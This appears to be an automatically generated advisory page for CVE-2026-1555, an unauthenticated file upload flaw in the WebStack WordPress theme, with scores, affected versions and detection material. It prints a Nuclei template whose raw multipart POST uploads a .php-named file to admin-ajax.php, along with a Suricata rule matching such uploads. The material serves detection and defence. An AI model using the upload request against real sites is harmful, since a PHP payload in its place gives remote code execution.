VULNpocalypse

CVE-2026-1555: WebStack <= 1.2024 - Unauthenticated Arbitrary File Upload

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

The WebStack theme for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the io_img_upload() function in all versions up to, and including, 1.2024. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site’s server which may make remote code execution possible.

Description quoted from the CVE record (assigned by Wordfence, published 2026-04-15).

Weakness: CWE-434 Unrestricted Upload of File with Dangerous Type

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: total.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-22830, GHSA-5c49-p8m3-fjh3

VEDAS cluster: VEDAS:FOXSCREAM

Exploit Observer links 9 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (9)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

2 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.010
low predicted chance of attack
VEDAS
0.978
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
Owen WebStackup to and including 1.2024Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

WordPress WebStack Theme - Unauthenticated Arbitrary File Upload (img_upload)

The WebStack theme for WordPress (<= 1.2024) registers the io_img_upload() handler on the unauthenticated AJAX action wp_ajax_nopriv_img_upload (inc/ajax.php). The handler reads $_FILES[‘files’], derives the stored file extension from the uploaded file name, and renames the upload into wp_upload_dir() without ever checking the extension against its own $extArr allow-list (“jpg”,”png”,”jpeg”). An unauthenticated attacker can therefore upload a .php file and obtain remote code execution. This template performs the unauthenticated multipart upload of a PHP file and confirms the missing file-type validation by matching the handler’s success envelope (“status”:1) together with the returned uploads path for the stored .php object. The fix adds server-side extension and MIME validation before the file is stored.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /wp-admin/admin-ajax.php); it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-1555.yaml
Show the template (60 lines)
yaml
id: CVE-2026-1555

info:
  name: "WordPress WebStack Theme - Unauthenticated Arbitrary File Upload (img_upload)"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    The WebStack theme for WordPress (<= 1.2024) registers the io_img_upload() handler on the
    unauthenticated AJAX action wp_ajax_nopriv_img_upload (inc/ajax.php). The handler reads
    $_FILES['files'], derives the stored file extension from the uploaded file name, and
    renames the upload into wp_upload_dir() without ever checking the extension against its
    own $extArr allow-list ("jpg","png","jpeg"). An unauthenticated attacker can therefore
    upload a .php file and obtain remote code execution. This template performs the
    unauthenticated multipart upload of a PHP file and confirms the missing file-type
    validation by matching the handler's success envelope ("status":1) together with the
    returned uploads path for the stored .php object. The fix adds server-side extension and
    MIME validation before the file is stored.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-1555&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=webstack&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1555
    cwe-id: CWE-434
  metadata:
    verified: false
  tags: cve,cve2026,wordpress,webstack,fileupload,rce,unauth

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Host}}
        Content-Type: multipart/form-data; boundary=----vedasARPSyndicate

        ------vedasARPSyndicate
        Content-Disposition: form-data; name="action"

        img_upload
        ------vedasARPSyndicate
        Content-Disposition: form-data; name="files"; filename="{{randstr}}.php"
        Content-Type: image/jpeg

        VEDAS-{{randstr_1}}-UPLOAD
        ------vedasARPSyndicate--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        condition: and
        words:
          - '"status":1'
          - '"src":'
          - '.php'
          - 'uploads'
      - type: status
        status:
          - 200

CVE-2026-1555.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-1555 WordPress WebStack Theme Unauthenticated Arbitrary File Upload (img_upload). Add them to your Suricata rule set and reload.

Show the rules
suricata
# CVE-2026-1555 - WordPress WebStack theme io_img_upload() (unauthenticated AJAX action
# img_upload) stores an uploaded file without validating its extension/MIME, allowing a
# .php upload and remote code execution. Detect the unauthenticated multipart POST to the
# img_upload action carrying a PHP file name.
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"VEDAS CVE-2026-1555 WordPress WebStack Theme Unauthenticated Arbitrary File Upload (img_upload)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; fast_pattern; http.request_body; content:"img_upload"; nocase; content:"filename="; nocase; distance:0; pcre:"/filename=\x22?[^\x22\r\n]*\.(?:php|phtml|php5|php7|phar)\b/i"; classtype:web-application-attack; reference:cve,CVE-2026-1555; reference:url,https://www.exploit.observer/?keyword=CVE-2026-1555&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=webstack&match=exact; sid:1099001; rev:1;)

CVE-2026-1555.rules on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.